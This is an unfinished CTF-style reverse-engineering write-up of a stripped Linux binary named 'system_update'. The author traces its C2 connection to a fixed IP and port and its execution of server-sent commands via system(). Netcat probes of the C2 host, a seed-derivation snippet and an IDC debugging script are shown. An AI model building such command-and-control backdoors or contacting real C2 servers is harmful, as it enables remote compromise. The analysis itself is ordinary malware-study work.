The Chronicles of Greg (Not Solved, Raw Thoughts)

[★★☆] SystemUpdate incident report

Description

Greg didn’t ask for this. Greg wanted a quiet Friday, maybe a donut, and ideally no malware. But no. Instead, Greg found logs—weird logs. And when Greg sees weird logs, Greg investigates. This is Greg’s story.

############

Analyst Log – 09:14 AM: "They called it a 'low-priority anomaly.' Said it was probably nothing. That’s what they always say before things explode". I ran strings on the file—didn’t like what I saw. Not an update. Not even ransomware. Just… vibes. Binary vibes. They’ve named it internally ‘SystemUpdate.’ I don’t know why. No update was done. I’m not even sure if this is about system update anymore.

############

system_update

Solution

➜ file .\system_update   
.\system_update: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b25880769b4dc53f70bfd0c86b8f7e567c843205, for GNU/Linux 3.2.0, stripped

Open in your favorite decompiler, like https://dogbolt.org/?id=2e418362-371e-406e-b061-880225a99210#Ghidra=1124&Hex-Rays=722

FUN_00102070 seems to be the main function, mainly because of args that follow int argc, char* argv pattern.

The_Chronicles_of_Greg.png

FUN_00101e70 function is used to get command from user and then execute it via system call.

The_Chronicles_of_Greg-1.png

After some scrolling we see FUN_00101f50 function, which seems to be making C2 connection to server and most probably passing the COMMAND here:

The_Chronicles_of_Greg-2.png

Smth like:

# Create a socket (IPv4, TCP)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# IP and port to connect to
ip_address = "195.168.112.4"
port = 7052  # 0x1B8C

Server seems to receive the connection:

➜ nc -zv 195.168.112.4 7052
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Connected to 195.168.112.4:7052.
Ncat: 0 bytes sent, 0 bytes received in 0.10 seconds.

Not so simple

➜ echo whoami | nc 195.168.112.4 7052
COMMAND: apt update
➜ echo what | nc 195.168.112.4 7052  
COMMAND: apt update
➜ echo 'apt update' | nc 195.168.112.4 7052
COMMAND: apt update

Re-analyze the program:

  1. Send data to C2 server

  2. Get data from C2 server

  3. Parse COMMAND and store only what's after COMMAND:

    • If found, execute and finish

  4. Else make call to FUN_00101d20 (encryption funky stuff)

  5. Encryption requires seed __seed = get_seed("/lib/x86_64-linux-gnu/libc.so.6");:

The_Chronicles_of_Greg-3.png
  • If /lib/x86_64-linux-gnu/libc.so.6 is not found then it's current timestamp

  • If it's found then it's the mangled version number.

For me it would be following:

└─$ strings /lib/x86_64-linux-gnu/libc.so.6 | grep 'release version' -n
17597:GNU C Library (Debian GLIBC 2.40-2) stable release version 2.40.
major, minor = 2, 40
val = (major << 16) | (minor << 8) | (major ^ minor)
val = (val ^ (val >> 13)) * 0x5bd1e995
seed  = (val ^ (val >> 15)) & 0xFFFFFFFF
print(seed) # 1160351555

The decryption function looks like following~

The_Chronicles_of_Greg-4.png

To make decryption work we first need valid response from a server which doesn't start with COMMAND:

The_Chronicles_of_Greg-5.png

The entry function is also not very clear. send

The_Chronicles_of_Greg-6.png

Assumption that program starts with read was wrong, it starts by connecting to C2

└─$ ltrace -f ./system_update
[pid 53497] --- SIGSEGV (Segmentation fault) ---
[pid 53497] +++ killed by SIGSEGV +++

└─$ ltrace -f ./system_update 1
[pid 53508] socket(2, 1, 0)                                     = 3
[pid 53508] inet_pton(2, 0x55d7d15af033, 0x7ffe3dd5b7e4, 0x7f59a7f1e877) = 1
[pid 53508] connect(3, 0x7ffe3dd5b7e0, 16, 4)                   = 0
[pid 53508] +++ exited (status 0) +++

There's a comparison which seems to block further execution of code. argv[1] needs to be correct value.

The_Chronicles_of_Greg-7.png

Left value is controlled by our input, right doesn't change. [0xF9, 0xFF, 0x8F, 0xE0, 0xEA, 0xC6, 0xFE, 0x2A, 0xCC, 0x9D, 0xE6, 0x9A, 0x92, 0xD3, 0xC4, 0xCB]

The_Chronicles_of_Greg-8.png

For IDC you can set breakpoint and then run these to show value comparison

auto i, b1, b2;
for (i = 0; i < 16; i++)
{
  b1 = Byte(0x555555559220 + i);
  b2 = Byte(0x5555555590F0 + i);
  msg("[%d] %02X vs %02X\n", i, b1, b2);
}

Last updated